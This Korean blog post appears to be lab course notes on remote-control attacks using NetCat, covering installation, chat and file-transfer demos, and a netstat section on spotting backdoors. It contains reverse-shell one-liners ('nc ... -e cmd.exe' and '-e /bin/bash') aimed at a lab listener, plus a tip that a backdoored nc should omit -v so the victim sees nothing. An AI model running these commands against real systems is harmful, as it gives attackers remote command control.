딩굴댕굴

네트워크 해킹 - 09. 원격제어를 이용한 공격 (NetCat)

by jennysgap

BOX

원격제어를 이용한 공격


 1. 원격제어란? 
원격지에 있는 공격자가 희생자의 PC 또는 서버에서 명령 권한을 획득하는 것


 2. 원격제어 타입 

 - GUI를 이용한 제어

 - 명령창, 터미널을 이용한 명령 제어  : 백도어

 - 스냅샷을 이용한 정보 갈취형  : BOT, Keylogger


 3. 실습에 사용할 도구 

 - GUI용 도구  : Radmin

 - 명령형 도구  : nc (NetCat)


 4.1 명령형 제어 도구 

[NetCat = nc]

 - Windows 환경  : nc.exe 다운로드 후 사용

 - Kali Linux 환경  : 기본으로 내장되어 있음 설치 없이 바로 사용

 - Linux 환경  : nc110 프로그램 설치 후 사용


 4.2 윈도우 nc 설치 

바탕화면에 설치한 'netcat-win32-1.11.zip' 압축 파일 열기


'nc.exe' 파일 확인


로컬 디스크 (C:)  →  netcat-1.11 폴더 안에 있던 nc.exe 붙여넣기


cmd 창에서 로컬 디스크 (C:)로 이동  →  'dir' 명령어를 이용해 nc.exe 파일이 있는지 확인



 4.3 칼리리눅스 nc 확인 

 'type nc' 명령어로 nc 프로그램이 있는지 확인



 4.3 리눅스 nc 설치 

# mkdir nc110

# cd nc110

# wget http://(nc110파일 있는 URL 주소 입력)/nc110.tar

# tar xvf nc110.tar

# ls netcat.c

# grep -n res_init netcat.c


# vi netcat.c

 1319: /* res_init();  */   주석처리 

# gcc -o nc -DGAPING_SECURITY_HOLE netcat.c


************  FTP 서버  ************

# ftp IP_Addr

NAME  :  ftpuser

PASS  :  1234

ftp>  dir

ftp>  get nc110.tar    (다운로드 명령)

ftp>  bye

********************************


 5. nc 기본 사용법 

# nc  -l -p port_no         : nc 서버모드

# nc Server_IP port_no  : Client 모드

 -l : Listen mode 

 -p port_no : 사용할 포트 정보

 -v : verbose

 -e : 백도어 옵션(정상 모드에서 사용 불가능)


 6.1 실습 (메신저 서비스) 

# nc -lvp 10000                    (서버 설정)

c:\> nc 192.168.3.116 10000  (클라이언트)


nc 서버로 할 IP 확인


클라이언트 IP 확인


nc 서버로 할 컴퓨터에 'nc -lvp 10000'명령어 입력


클라이언트 PC에서 nc서버에 접속하기  →  cmd 창에 'nc 192.168.3.116 10000'명령어 입력


서버 PC에서 접속확인


클라이언트 PC에서 메세지 입력


서버PC에서 메세지 확인!  (한글은 글자가 깨짐)


클라이언트 PC에서 nc 접속 끊기 'Ctrl + C'  →  한쪽에서 끊으면 반대쪽도 자동적으로 끊김


서버PC에서 접속 끊겼는지 확인!



 6.2 실습 (자료 전송) 

c:\> nc -lvp 10001  >  test.txt     (서버 설정)

c:\> dir | nc 192.168.3.116 10001   (클라이언트)

** 백도어로 설치 된 nc는 -v 옵션을 사용하지 않는다. 해당 옵션이 사용될 경우 화면에 접속자의 정보가 출력된다.

** 클라이언트 모드를 이용하여 공격자에게 접속하게 하여 서버의 IP 주소등에 대한 정보를 편리하게 확인.


 6.3 실습 (옵션을 이용한 nc공격 ) 

c:\> nc -lvp 10000                    (서버 설정)

c:\> nc 192.168.3.99 10000 -e cmd.exe      (윈도우 클라이언트)

# nc 192.168.3.99 10000 -e /bin/bash         (리눅스 클라이언트)

==> 클라이언트 모드로 접속하여 공격자에게 명령권한 인계

==> 접속 전까지 클라이언트지만 접속 후 서버의 형태.


nc 서버로 할 컴퓨터에 'nc -lvp 10000'명령어 입력


클라이언트 PC에서 'nc 192.168.3.99 10000 -e cmd.exe' 명령어로 접속


서버 PC에서 클라이언트 PC가 접속 됐는지 확인


서버PC에서 명령권한 인계받았는지 확인하기 위해 'ipconfig' 명령어로 확인!

====>  클라이언트 PC IP가 확인 됨


 7. 백도어 프로그램 대비 

# netstat -an : 네트워크의 모든 상태 (LISTEN, ESTABLISH, CLOSE,WAIT)

# netstat -anp : p옵션은 해당 포트를 사용하고 있는 프로그램 정보

# netstat -t   : TCP 상태정보만 출력

# netstat -u   : UDP 상태정보만 출력


# netstat -an | grep LISTEN | more  : 현재 연결 대기중 서비스 보기

# netstat -an | grep ESTABLISH | more : 연결된 세션 서비스 보기


반응형

블로그의 정보

jennysgap

jennysgap

활동하기